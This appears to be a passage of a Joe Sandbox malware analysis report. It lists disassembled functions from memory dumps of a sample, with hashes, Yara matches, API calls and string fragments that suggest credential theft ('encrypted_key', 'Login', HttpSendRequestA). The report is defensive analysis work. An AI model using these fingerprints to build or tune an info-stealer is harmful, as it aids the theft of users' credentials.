                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: :$:$:$A$I$N$P$m$s$t
                                                                                                                                                        • API String ID: 0-2304485323
                                                                                                                                                        • Opcode ID: 5d1c382d95a6706f43c1679cedc9ce51111cd13314b14c8a4ed39589f30fc00b
                                                                                                                                                        • Instruction ID: 5c3c4bad6d6975911181e350fbfe54521c523cdb272b0be3d267d9505999fc7a
                                                                                                                                                        • Opcode Fuzzy Hash: 5d1c382d95a6706f43c1679cedc9ce51111cd13314b14c8a4ed39589f30fc00b
                                                                                                                                                        • Instruction Fuzzy Hash: FED119B6A10749ABDB54DFE8CC80FEEB7B9EF58304F44451DE209A7540EB78A9008B65
                                                                                                                                                        Function 01395030 Relevance: 12.8, Strings: 10, Instructions: 323COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: 200 OK$FBC$FBNG$FBNG$FBNG$FBNG$FBNG$FBNG$FBNG$FBNG
                                                                                                                                                        • API String ID: 0-3117044114
                                                                                                                                                        • Opcode ID: 75b566cce6cd3f69259c5f2aba70cdc86ebdc469e80d6a40686257ba750d48f3
                                                                                                                                                        • Instruction ID: eaa92b3ac4a567163fb747ff374d2151b2d49dfeb80acda2bd01400a5f5cf529
                                                                                                                                                        • Opcode Fuzzy Hash: 75b566cce6cd3f69259c5f2aba70cdc86ebdc469e80d6a40686257ba750d48f3
                                                                                                                                                        • Instruction Fuzzy Hash: 41A14C72A002056FDF13CAACD8807FAB7A9EB8532DF5441ABF90C87201E73569D5C791
                                                                                                                                                        Function 01370078 Relevance: 12.7, Strings: 10, Instructions: 225COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: "$"$"$/$P$e$i$m$o$r
                                                                                                                                                        • API String ID: 0-163326737
                                                                                                                                                        • Opcode ID: 5ab19494dd022bd40ec4bfe268c0cefcc4d5fd9d66681521eec7d584c8108092
                                                                                                                                                        • Instruction ID: 04771e713ef1fcc459706ea24d1dad8a0320f5b53463b0af38844effb6b94256
                                                                                                                                                        • Opcode Fuzzy Hash: 5ab19494dd022bd40ec4bfe268c0cefcc4d5fd9d66681521eec7d584c8108092
                                                                                                                                                        • Instruction Fuzzy Hash: DE81E5B5C4021DB6DB35EBA8DC41FEF337CBF64304F008595E509A6181EA79A7498FA2
                                                                                                                                                        Function 0139E480 Relevance: 12.7, Strings: 10, Instructions: 225COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: "$"$"$/$P$e$i$m$o$r
                                                                                                                                                        • API String ID: 0-163326737
                                                                                                                                                        • Opcode ID: 5ab19494dd022bd40ec4bfe268c0cefcc4d5fd9d66681521eec7d584c8108092
                                                                                                                                                        • Instruction ID: 50c54255ad93feda9182c9653597185660cb9ad69930490156649ecf342b78c8
                                                                                                                                                        • Opcode Fuzzy Hash: 5ab19494dd022bd40ec4bfe268c0cefcc4d5fd9d66681521eec7d584c8108092
                                                                                                                                                        • Instruction Fuzzy Hash: B281C1B2C6021C6ADB15EFA89C41FEF737DDF64708F808498A50C66581FA75A7488FA1
                                                                                                                                                        Function 0137006C Relevance: 12.7, Strings: 10, Instructions: 218COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: "$"$"$/$P$e$i$m$o$r
                                                                                                                                                        • API String ID: 0-163326737
                                                                                                                                                        • Opcode ID: b5b8e6b60e7fdde2de18b440607e72729e2cc609a53f9fc054576f12aee87d83
                                                                                                                                                        • Instruction ID: 4c319c4f8be80e6fbb22ed7c0d02e69b6ddbffc9288e184964e54154901063f2
                                                                                                                                                        • Opcode Fuzzy Hash: b5b8e6b60e7fdde2de18b440607e72729e2cc609a53f9fc054576f12aee87d83
                                                                                                                                                        • Instruction Fuzzy Hash: A181F6B5C4021CA6DB35EBA8DC41FEF337CBF54304F008598E508A6181EA79A7498FA2
                                                                                                                                                        Function 0139E474 Relevance: 12.7, Strings: 10, Instructions: 218COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: "$"$"$/$P$e$i$m$o$r
                                                                                                                                                        • API String ID: 0-163326737
                                                                                                                                                        • Opcode ID: b5b8e6b60e7fdde2de18b440607e72729e2cc609a53f9fc054576f12aee87d83
                                                                                                                                                        • Instruction ID: bd67bda889e53052a5c1fa90918a9e3c5ced854a9131f6e2d661b6ec66ad825d
                                                                                                                                                        • Opcode Fuzzy Hash: b5b8e6b60e7fdde2de18b440607e72729e2cc609a53f9fc054576f12aee87d83
                                                                                                                                                        • Instruction Fuzzy Hash: 1881B3B2C6021C6ADB15EFA89C41FEF737DDF54308F408498A50D66581FA7597488FA1
                                                                                                                                                        Function 01376416 Relevance: 12.7, Strings: 10, Instructions: 211COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: :$:$:$A$I$N$P$m$s$t
                                                                                                                                                        • API String ID: 0-2304485323
                                                                                                                                                        • Opcode ID: 2f5a494c3d1df3bbd1c1540cd80ab56868862cc2f6e0fe05f09b255069bf8181
                                                                                                                                                        • Instruction ID: 053d06c2fd7e34d753d54a8b2676249b3bcec37e594aab1b37522e842dc7087c
                                                                                                                                                        • Opcode Fuzzy Hash: 2f5a494c3d1df3bbd1c1540cd80ab56868862cc2f6e0fe05f09b255069bf8181
                                                                                                                                                        • Instruction Fuzzy Hash: 5B8105B5A00309AFDB60DFF8C881BEEB7B8BF59314F00451DE119E7240EB78A9058B65
                                                                                                                                                        Function 013A481E Relevance: 12.7, Strings: 10, Instructions: 211COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: :$:$:$A$I$N$P$m$s$t
                                                                                                                                                        • API String ID: 0-2304485323
                                                                                                                                                        • Opcode ID: 2f5a494c3d1df3bbd1c1540cd80ab56868862cc2f6e0fe05f09b255069bf8181
                                                                                                                                                        • Instruction ID: 2537743f79668320063d77a2398d2843dd237d995f74dc1d025a7fb61103e4e0
                                                                                                                                                        • Opcode Fuzzy Hash: 2f5a494c3d1df3bbd1c1540cd80ab56868862cc2f6e0fe05f09b255069bf8181
                                                                                                                                                        • Instruction Fuzzy Hash: 578117B6A10349AFDB50DFE8C880BEEB7B9EF58304F44451DE109E7640E778A904CB65
                                                                                                                                                        Function 013752F8 Relevance: 12.7, Strings: 10, Instructions: 181COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: "enc$"}$L$S$a$c$ed_k$ey$l$rypt
                                                                                                                                                        • API String ID: 0-998560642
                                                                                                                                                        • Opcode ID: 33c2e6dce091b50bc2afe093ca2421fd103084b1000c5e8c92d8501e3649a977
                                                                                                                                                        • Instruction ID: f5df2c6da77114c157a2e3b681d787dd16ae7f50acea8ad984e02b954236db5f
                                                                                                                                                        • Opcode Fuzzy Hash: 33c2e6dce091b50bc2afe093ca2421fd103084b1000c5e8c92d8501e3649a977
                                                                                                                                                        • Instruction Fuzzy Hash: A85182B1D00208AEEB60DFACDC40BEEBBF8BF58304F14416AE518F7240EB7955458BA5
                                                                                                                                                        Function 013A3700 Relevance: 12.7, Strings: 10, Instructions: 181COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: "enc$"}$L$S$a$c$ed_k$ey$l$rypt
                                                                                                                                                        • API String ID: 0-998560642
                                                                                                                                                        • Opcode ID: 33c2e6dce091b50bc2afe093ca2421fd103084b1000c5e8c92d8501e3649a977
                                                                                                                                                        • Instruction ID: 38f8eb4a6677dff98c3cc9af2030da455c03603feb8ff6f775ff5215a7d4c88d
                                                                                                                                                        • Opcode Fuzzy Hash: 33c2e6dce091b50bc2afe093ca2421fd103084b1000c5e8c92d8501e3649a977
                                                                                                                                                        • Instruction Fuzzy Hash: E9519DB1D00208AEEB50DFE89C40BEEBBF9EF58304F44416EE508E7241EB755944CBA5
                                                                                                                                                        Function 007A41E5 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 007A4284
                                                                                                                                                        • SendMessageW.USER32(00000000,00001036,00000000,?), ref: 007A4299
                                                                                                                                                        • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 007A42B3
                                                                                                                                                        • _wcslen.LIBCMT ref: 007A42F8
                                                                                                                                                        • SendMessageW.USER32(?,00001057,00000000,?), ref: 007A4325
                                                                                                                                                        • SendMessageW.USER32(?,00001061,?,0000000F), ref: 007A4353
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: MessageSend$Window_wcslen
                                                                                                                                                        • String ID: SysListView32
                                                                                                                                                        • API String ID: 2147712094-78025650
                                                                                                                                                        • Opcode ID: bc9a17bbdc19b3928805ed18a9a5ac3e6516920c00fffaa53fa305d4ab249384
                                                                                                                                                        • Instruction ID: ed2c4295f35d029cfc25afac4fa48253f2e0421e264bd069c56a3cf5fec83a4f
                                                                                                                                                        • Opcode Fuzzy Hash: bc9a17bbdc19b3928805ed18a9a5ac3e6516920c00fffaa53fa305d4ab249384
                                                                                                                                                        • Instruction Fuzzy Hash: 8741AF71900318ABDF219F64CC49BEA7BA9FF89350F100626F954E72D1D7B99D80CB90
                                                                                                                                                        Function 013993D0 Relevance: 11.4, Strings: 9, Instructions: 119COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: C$U$a$b$d$i$k$n$o
                                                                                                                                                        • API String ID: 0-3121204512
                                                                                                                                                        • Opcode ID: 8dbbea8202210a582eaedf47257dcb020ccd51eb0debdf39ef1c527cd4e643fa
                                                                                                                                                        • Instruction ID: 41dfc76b5b6433ea0f68baf183f2066217a256ec6b996f4f0fad3ff2aaf7ed93
                                                                                                                                                        • Opcode Fuzzy Hash: 8dbbea8202210a582eaedf47257dcb020ccd51eb0debdf39ef1c527cd4e643fa
                                                                                                                                                        • Instruction Fuzzy Hash: B441AFB1A00309ABEB00EFE4DC45FEFB7B9EF54308F00441CE519A7241E7B4AA048BA5
                                                                                                                                                        Function 0077808C Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 007780D1
                                                                                                                                                        • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 007780F7
                                                                                                                                                        • SysAllocString.OLEAUT32(00000000), ref: 007780FA
                                                                                                                                                        • SysAllocString.OLEAUT32 ref: 0077811B
                                                                                                                                                        • SysFreeString.OLEAUT32 ref: 00778124
                                                                                                                                                        • StringFromGUID2.OLE32(?,?,00000028), ref: 0077813E
                                                                                                                                                        • SysAllocString.OLEAUT32(?), ref: 0077814C
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3761583154-0
                                                                                                                                                        • Opcode ID: 5e1a02d412b1945a8b853f24ab1c24218c81a52fd73e7d2dbc8d4f135bafbe45
                                                                                                                                                        • Instruction ID: cd0232079782858e3fc55e648f87305a2e6b5f10cb6a0d4b8a50cc8bdf778cef
                                                                                                                                                        • Opcode Fuzzy Hash: 5e1a02d412b1945a8b853f24ab1c24218c81a52fd73e7d2dbc8d4f135bafbe45
                                                                                                                                                        • Instruction Fuzzy Hash: 23218671200208AFDF509FACDC8CDAA77ECEB49360750C125F919CB2A1DA78EC45C765
                                                                                                                                                        Function 01375828 Relevance: 10.2, Strings: 8, Instructions: 231COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: :$:$P$U$U$e$l$s
                                                                                                                                                        • API String ID: 0-522774390
                                                                                                                                                        • Opcode ID: e015a2f468b77f319f7ff2eb0fa1751f31fe402d814ef7dbda636ac89a5d7ebf
                                                                                                                                                        • Instruction ID: b52035c1f66d6f2ec6dbc0b4736251a3e25951054b7a4653beffd6c35b02cffe
                                                                                                                                                        • Opcode Fuzzy Hash: e015a2f468b77f319f7ff2eb0fa1751f31fe402d814ef7dbda636ac89a5d7ebf
                                                                                                                                                        • Instruction Fuzzy Hash: 68915CB5A00309AFDB64DFB8C881BEEB7F9BF59714F14441DE118AB240EB78A501CB95
                                                                                                                                                        Function 013A2110 Relevance: 10.2, Strings: 8, Instructions: 229COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: URL: $.$L: $e$i$n$o$p
                                                                                                                                                        • API String ID: 0-3631070777
                                                                                                                                                        • Opcode ID: 6b6d8067a5e9a290855c460e1bc5795dc22cd973ac7f38a2e9d4012b30091855
                                                                                                                                                        • Instruction ID: 0c07280ad2c1cdb2df45bda81312466d8f4a1e5edda684aebd2f8b166c5c4233
                                                                                                                                                        • Opcode Fuzzy Hash: 6b6d8067a5e9a290855c460e1bc5795dc22cd973ac7f38a2e9d4012b30091855
                                                                                                                                                        • Instruction Fuzzy Hash: D9814DB1900309AEEB14DFE8CC40EEFB7B9EF54308F44442DE909AB241E771A644CBA5
                                                                                                                                                        Function 013A2103 Relevance: 10.2, Strings: 8, Instructions: 224COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: URL: $.$L: $e$i$n$o$p
                                                                                                                                                        • API String ID: 0-3631070777
                                                                                                                                                        • Opcode ID: 551616aac6ba6bc098465d329755e3990feb4e4a3e486424693ef8813a659e82
                                                                                                                                                        • Instruction ID: 62f023edef4f35ace2323c0851f1e5dd10f3e63986af8757176fbc9ca7025809
                                                                                                                                                        • Opcode Fuzzy Hash: 551616aac6ba6bc098465d329755e3990feb4e4a3e486424693ef8813a659e82
                                                                                                                                                        • Instruction Fuzzy Hash: 88815DB1900309AEEB24DFA8CC40BEFB7F9EF54308F40452DE909AB241E771A644CB65
                                                                                                                                                        Function 013747F8 Relevance: 10.2, Strings: 8, Instructions: 179COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $.$e$e$n$o$r$y
                                                                                                                                                        • API String ID: 0-693002370
                                                                                                                                                        • Opcode ID: 529e19e5e8c69d83f57e239f71ac46c34777a70ab033ec56b993cc6500d256d5
                                                                                                                                                        • Instruction ID: 638887f96ac6db08104c27931618ad63c27f9496e71eb484352644b0c71bd000
                                                                                                                                                        • Opcode Fuzzy Hash: 529e19e5e8c69d83f57e239f71ac46c34777a70ab033ec56b993cc6500d256d5
                                                                                                                                                        • Instruction Fuzzy Hash: 656174B5A00349AFDB20DFA8D844BEEB7F9FF49304F004559E519E7240EB79AA448B91
                                                                                                                                                        Function 013747ED Relevance: 10.1, Strings: 8, Instructions: 142COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $.$e$e$n$o$r$y
                                                                                                                                                        • API String ID: 0-693002370
                                                                                                                                                        • Opcode ID: 241b2436d345b7c22535c2184a6a1e3d0582531c665410e06eb35d2f6dea81b2
                                                                                                                                                        • Instruction ID: 43988795934ae32f4b06d61963f5cdf5105a2889e53947012cec3bc74f9674e5
                                                                                                                                                        • Opcode Fuzzy Hash: 241b2436d345b7c22535c2184a6a1e3d0582531c665410e06eb35d2f6dea81b2
                                                                                                                                                        • Instruction Fuzzy Hash: 035161B5D00309AFDB20DFA8D844BEEB7F9BF19304F00455EE519E7240EB79AA448B91
                                                                                                                                                        Function 013A2BF5 Relevance: 10.1, Strings: 8, Instructions: 142COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $.$e$e$n$o$r$y
                                                                                                                                                        • API String ID: 0-693002370
                                                                                                                                                        • Opcode ID: 241b2436d345b7c22535c2184a6a1e3d0582531c665410e06eb35d2f6dea81b2
                                                                                                                                                        • Instruction ID: 0204f37a22b8bc31c66339e82fbb0000da57339ed1791a9bc957094db2787a28
                                                                                                                                                        • Opcode Fuzzy Hash: 241b2436d345b7c22535c2184a6a1e3d0582531c665410e06eb35d2f6dea81b2
                                                                                                                                                        • Instruction Fuzzy Hash: 2B517CB1A00309AFDB10DFE8C885BEFBBB9FF19304F40455EE509A7650E7759A448BA1
                                                                                                                                                        Function 013AC2C0 Relevance: 10.0, Strings: 8, Instructions: 48COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: Http$HttpOpenRequestA$HttpOpenRequestA$Open$OpenRequestA$Requ$RequestA$estA
                                                                                                                                                        • API String ID: 0-4016285707
                                                                                                                                                        • Opcode ID: 4cfb9678fb708ccf4b305b7de459e0cb374a3b63d560b69bc85e9c03fd5ad30e
                                                                                                                                                        • Instruction ID: e69577fa1ed981a6a6a1c8663cdc55aabb6423578fb2bde969b80c8adf1733ac
                                                                                                                                                        • Opcode Fuzzy Hash: 4cfb9678fb708ccf4b305b7de459e0cb374a3b63d560b69bc85e9c03fd5ad30e
                                                                                                                                                        • Instruction Fuzzy Hash: 5601E5B2A05119AFCB04DF99D841DEF7BBDEB48610F158288FE08A7204D634EE10CBE1
                                                                                                                                                        Function 013AC336 Relevance: 10.0, Strings: 8, Instructions: 43COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: Http$HttpSendRequestA$HttpSendRequestA$Requ$RequestA$Send$SendRequestA$estA
                                                                                                                                                        • API String ID: 0-2503632690
                                                                                                                                                        • Opcode ID: 48ae5fcc3fa2bb0d5d44f1ceac1a577d9b8fb4c74ae4fbca4650967160fa16d7
                                                                                                                                                        • Instruction ID: 3bcd33267876d32486fce89e9ecf73270b23c9ecfc701e94f6a1657c8f9f5433
                                                                                                                                                        • Opcode Fuzzy Hash: 48ae5fcc3fa2bb0d5d44f1ceac1a577d9b8fb4c74ae4fbca4650967160fa16d7
                                                                                                                                                        • Instruction Fuzzy Hash: C0014BB6905119AFDB14DF88D845AEF7FB9EB98210F108188FD48A7204D370EA10CBE1
                                                                                                                                                        Function 013AC340 Relevance: 10.0, Strings: 8, Instructions: 42COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
